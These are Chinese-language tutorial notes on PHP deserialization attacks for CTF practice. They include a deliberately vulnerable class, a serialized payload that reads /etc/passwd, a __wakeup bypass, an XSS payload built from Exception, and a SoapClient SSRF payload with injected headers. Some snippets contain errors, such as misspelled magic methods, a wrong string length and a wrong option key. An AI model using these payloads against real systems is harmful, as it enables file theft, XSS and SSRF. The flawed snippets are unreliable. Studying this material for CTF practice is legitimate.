PHP-反序列化

在 PHP 里,序列化是把一个对象或数组转换成字符串的过程(比如保存到文件或传输到网络),而反序列化就是把这个字符串还原成原来的变量(对象 / 数组)。

用 PHP 的两个函数表示就是:

1
2
$ser = serialize($obj);     // 序列化
$unser = unserialize($ser); // 反序列化

为什么反序列化会存在漏洞?

因为 unserialize() 在反序列化对象时,会自动调用一些类里面的特殊方法,比如:

https://www.bilibili.com/video/BV12om2YTEgW?spm_id_from=333.788.videopod.episodes&vd_source=89bf25153801ebc942aaf90aa2af1675&p=63

  • __wakeup:反序列化时自动调用
  • __seleep ():序列化时自动调用
  • __constuct:构造对象时调用
  • __destruct():对象被销毁时自动调用
  • __toString():对象被当成字符串使用时调用
  • __call():调用不存在方法时触发
  • __invoke():对象被当函数调用时触发
  • __get ():访问不存在的成员变量时调用
  • __set ():设置对象不存在的属性或无法访问(私有)的属性时调用
  • __isset ():检查对象的某个属性是否存在会执行此函数,当对不可访问的属性调用 isset () 或 empty () 时,会被自动调用
  • __unset ():在不可访问的某个属性上使用 unset 函数执行,销毁对象的某个不存在属性时自动调用__unset ()

如果这些方法里面有可以被控制的敏感操作(比如文件读写、命令执行等),就可能被利用形成漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class student
{
public $name="haohao";
public $age=19;
public $sex= "man";

function aaa()
{
$this->name;
}
}
$demo=new student();
$wocao=serialize($demo);
echo $wocao;

使用 serialize 函数进行序列化

unserialize 函数进行反序列化

反序列化漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Cat {
public $name;
public $file;

function __destruct() {
echo file_get_contents($this->file);
}
}

$payload = $_GET['data'];
unserialize($payload);

攻击思路:

在 ctf 中的解题思路

1,复制源代码到本地
2,注释掉和属性无关的内容
3,根据题目需要,给属性赋值
4,生成序列化数据,通常要用到 urlencode
5,传递数据到服务器

1
2
3
4
5
class Cat {
public $file="/etc/passwd"; //只留需要的属性,并赋值
}
$exploit = serialize(new Cat());
echo $exploit;

将 payload 上传到程序

1
http://target.com/vuln.php?data=O:3:"Cat":2:{s:4:"name";s:3:"nya";s:4:"file";s:8:"/etc/passwd";}  //可使用urlencode编码后再传参

__wakeup 漏洞:

漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10

在反序列化一个对象时被自动调用

在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。

绕过:当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

原生类漏洞利用:

php 中内置很多原生的类,在 CTF 中常以 echo new $a ($b); 这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了。

下面代码可以查看内置原生类,可对实际情况进行选择性的查看原生类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
......

以此道题为例:

给了 flag.php 文件进行提示,访问的 ip 地址必须为 127.0.0.1,且 token 为 ctfshow, 才能拿下 flag

进入页面,只有几行代码,考虑使用原生态利用

调用了 getFlag () 方法,但 getFlag () 方法不存在

使用报错类

Error/Exception 触发 XSS

Error/Exception 中有个__toString () 方法,能将我们输入的 xss 内容输出

POC 链的构造:

1
2
3
4
5
6
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
////输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

使用 SoapClient 构造 SSRF

(PHP 5, PHP 7, PHP 8)

1
2
3
4
5
6
<?php=
$ua="aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('url' =>'http://127.0.0.1 ','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua);
echo urlencode(serialize($client));
?>
//将编码的数据传参拿下flag.php

PHP 字符串逃逸